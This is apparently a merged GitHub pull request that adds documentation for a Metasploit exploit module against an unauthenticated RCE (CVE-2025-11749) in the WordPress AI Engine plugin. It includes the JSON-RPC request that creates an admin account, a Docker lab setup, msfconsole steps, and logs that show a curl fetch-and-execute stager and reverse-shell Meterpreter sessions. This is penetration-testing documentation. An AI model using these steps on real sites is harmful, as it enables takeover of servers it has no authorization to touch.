Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions data/wordlists/wp-exploitable-plugins.txt
Original file line number Diff line number Diff line change
@@ -1,3 +1,4 @@
ai-engine
ajax-load-more
all-in-one-wp-migration
backup
Expand Down
198 changes: 198 additions & 0 deletions documentation/modules/exploit/multi/http/wp_ai_engine_mcp_rce.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,198 @@
## Vulnerable Application

This Metasploit module exploits an unauthenticated remote code execution vulnerability in the WordPress AI Engine plugin
(versions <= 3.1.3) (CVE-2025-11749). The vulnerability allows unauthenticated attackers to create administrator accounts
and achieve remote code execution by exploiting the MCP (Model Context Protocol) functionality when `mcp_noauth_url` is enabled.

## Vulnerability Analysis

The plugin registers REST API routes under `/wp-json/mcp/v1/{token}/sse` where `{token}` is a bearer token. When `mcp_noauth_url`
is enabled, these endpoints accept requests without verifying the `Authorization` header, allowing unauthenticated access
to WordPress core functions.

The attacker can enumerate the token by querying `/wp-json/mcp/v1/` or `/?rest_route=/mcp/v1/` (both methods work).
The token is exposed in route paths like `/mcp/v1/{TOKEN}/sse`. Once discovered, JSON-RPC requests can be sent to call
`wp_create_user` via either endpoint:

```http
POST /wp-json/mcp/v1/{TOKEN}/sse HTTP/1.1
Content-Type: application/json

{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "wp_create_user",
"arguments": {
"user_login": "attacker",
"role": "administrator"
}
}
}
```

The same request works via both endpoints:
- `/wp-json/mcp/v1/{TOKEN}/sse` (preferred)
- `/?rest_route=/mcp/v1/{TOKEN}/sse` (fallback when permalinks are not configured)

Once an administrator account is created, the attacker uploads a malicious plugin for code execution.

**Affected versions**: <= 3.1.3 (Fixed in 3.1.4)
**Prerequisites**: `module_mcp`, `mcp_core`, and `mcp_noauth_url` must be enabled

## Docker Compose Configuration

```yaml
services:
wordpress:
image: wordpress:6.3.2
container_name: wp-ai-engine-lab
restart: always
ports:
- 5555:80
environment:
WORDPRESS_DB_HOST: mysql
WORDPRESS_DB_USER: chocapikk
WORDPRESS_DB_PASSWORD: dummy_password
WORDPRESS_DB_NAME: exploit_market
volumes:
- wordpress:/var/www/html
- ./custom.ini:/usr/local/etc/php/conf.d/custom.ini
depends_on:
- mysql

mysql:
image: mysql:5.7
container_name: wp-ai-engine-db
restart: always
environment:
MYSQL_DATABASE: exploit_market
MYSQL_USER: chocapikk
MYSQL_PASSWORD: dummy_password
MYSQL_RANDOM_ROOT_PASSWORD: '1'
volumes:
- db:/var/lib/mysql

volumes:
wordpress:
db:
```

Create `custom.ini`:

```ini
upload_max_filesize = 64M
post_max_size = 64M
```

## Setup Instructions

```bash
docker compose up -d
sleep 5
docker exec wp-ai-engine-lab bash -c "curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar && chmod +x wp-cli.phar && mv wp-cli.phar /usr/local/bin/wp"
docker exec wp-ai-engine-lab wp core install --path='/var/www/html' --url='http://localhost:5555' --title='Exploit Market' --admin_user='admin' --admin_password='admin' --admin_email='[email protected]' --allow-root
docker exec wp-ai-engine-lab wp rewrite structure '/%postname%/' --path='/var/www/html' --allow-root
docker exec wp-ai-engine-lab wp rewrite flush --path='/var/www/html' --allow-root
docker exec wp-ai-engine-lab wp config set FS_METHOD direct --path='/var/www/html' --allow-root
docker exec wp-ai-engine-lab chown -R www-data:www-data /var/www/html/wp-content
docker exec -u www-data wp-ai-engine-lab wp plugin install ai-engine --version=3.1.3 --path='/var/www/html' --activate --force
BEARER_TOKEN=$(openssl rand -base64 32 | tr -d "=+/" | cut -c1-43)
docker exec -u www-data wp-ai-engine-lab wp option update mwai_options --format=json --path='/var/www/html' "{\"module_mcp\":true,\"mcp_core\":true,\"mcp_bearer_token\":\"${BEARER_TOKEN}\",\"mcp_noauth_url\":true}"
echo "Bearer Token: ${BEARER_TOKEN}"
```

## Verification Steps

1. Start the environment and complete setup
2. Launch `msfconsole` and load the module: `use exploit/multi/http/wp_ai_engine_mcp_rce`
3. Set `RHOSTS` to target IP (use Docker gateway IP for `LHOST`)
4. Run the exploit: `run`

## Options

* **TARGETURI**: The base path to WordPress (default: `/`)
* **TARGET**: Target type - `0` for PHP payload, `1` for Unix command payload (default: `0`)

## Scenarios

### PHP Payload

```bash
use exploit/multi/http/wp_ai_engine_mcp_rce
set RHOSTS 127.0.0.1
set RPORT 5555
set TARGET 0
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 172.25.0.1
set LPORT 4444
run
```

**Expected Results:**

```plaintext
[*] Started reverse TCP handler on 172.25.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking /wp-content/plugins/ai-engine/readme.txt
[*] Found version 3.1.3 in the plugin
[+] The target appears to be vulnerable.
[*] Acquired a plugin upload nonce: 3495f17050
[*] Uploaded plugin wp_knzvu
[*] Sending stage (41224 bytes) to 172.25.0.3
[+] Deleted ajax_rmteg.php
[+] Deleted wp_knzvu.php
[+] Deleted ../wp_knzvu
[*] Meterpreter session 1 opened (172.25.0.1:4444 -> 172.25.0.3:47914) at 2025-11-23 03:51:28 +0100

meterpreter > sysinfo
Computer : e1450d69c5ef
OS : Linux e1450d69c5ef 6.14.0-115036-tuxedo #36~24.04.1tux1 SMP PREEMPT_DYNAMIC Mon Nov 3 17:34:07 UTC 2025 x86_64
Architecture : x64
System Language : C
Meterpreter : php/linux
```

### Linux Meterpreter Payload

```bash
use exploit/multi/http/wp_ai_engine_mcp_rce
set RHOSTS 127.0.0.1
set RPORT 5555
set TARGET 1
set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
set LHOST 172.25.0.1
set LPORT 4445
run
```

**Expected Results:**

```plaintext
[*] Command to run on remote host: curl -so ./CwnRPcETYowu http://172.25.0.1:8080/YlsHR8ggI6Bd69-fK5zqBQ;chmod +x ./CwnRPcETYowu;./CwnRPcETYowu&
[*] Fetch handler listening on 172.25.0.1:8080
[*] HTTP server started
[*] Adding resource /YlsHR8ggI6Bd69-fK5zqBQ
[*] Started reverse TCP handler on 172.25.0.1:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking /wp-content/plugins/ai-engine/readme.txt
[*] Found version 3.1.3 in the plugin
[+] The target appears to be vulnerable.
[*] Acquired a plugin upload nonce: 89faa6adb3
[*] Uploaded plugin wp_w6mpy
[*] Client 172.25.0.3 requested /YlsHR8ggI6Bd69-fK5zqBQ
[*] Sending payload to 172.25.0.3 (curl/7.74.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.25.0.3
[+] Deleted ajax_plv9z.php
[+] Deleted wp_w6mpy.php
[+] Deleted ../wp_w6mpy
[*] Meterpreter session 2 opened (172.25.0.1:4445 -> 172.25.0.3:59294) at 2025-11-23 03:53:03 +0100

meterpreter > sysinfo
Computer : 172.25.0.3
OS : Debian 11.8 (Linux 6.14.0-115036-tuxedo)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
Loading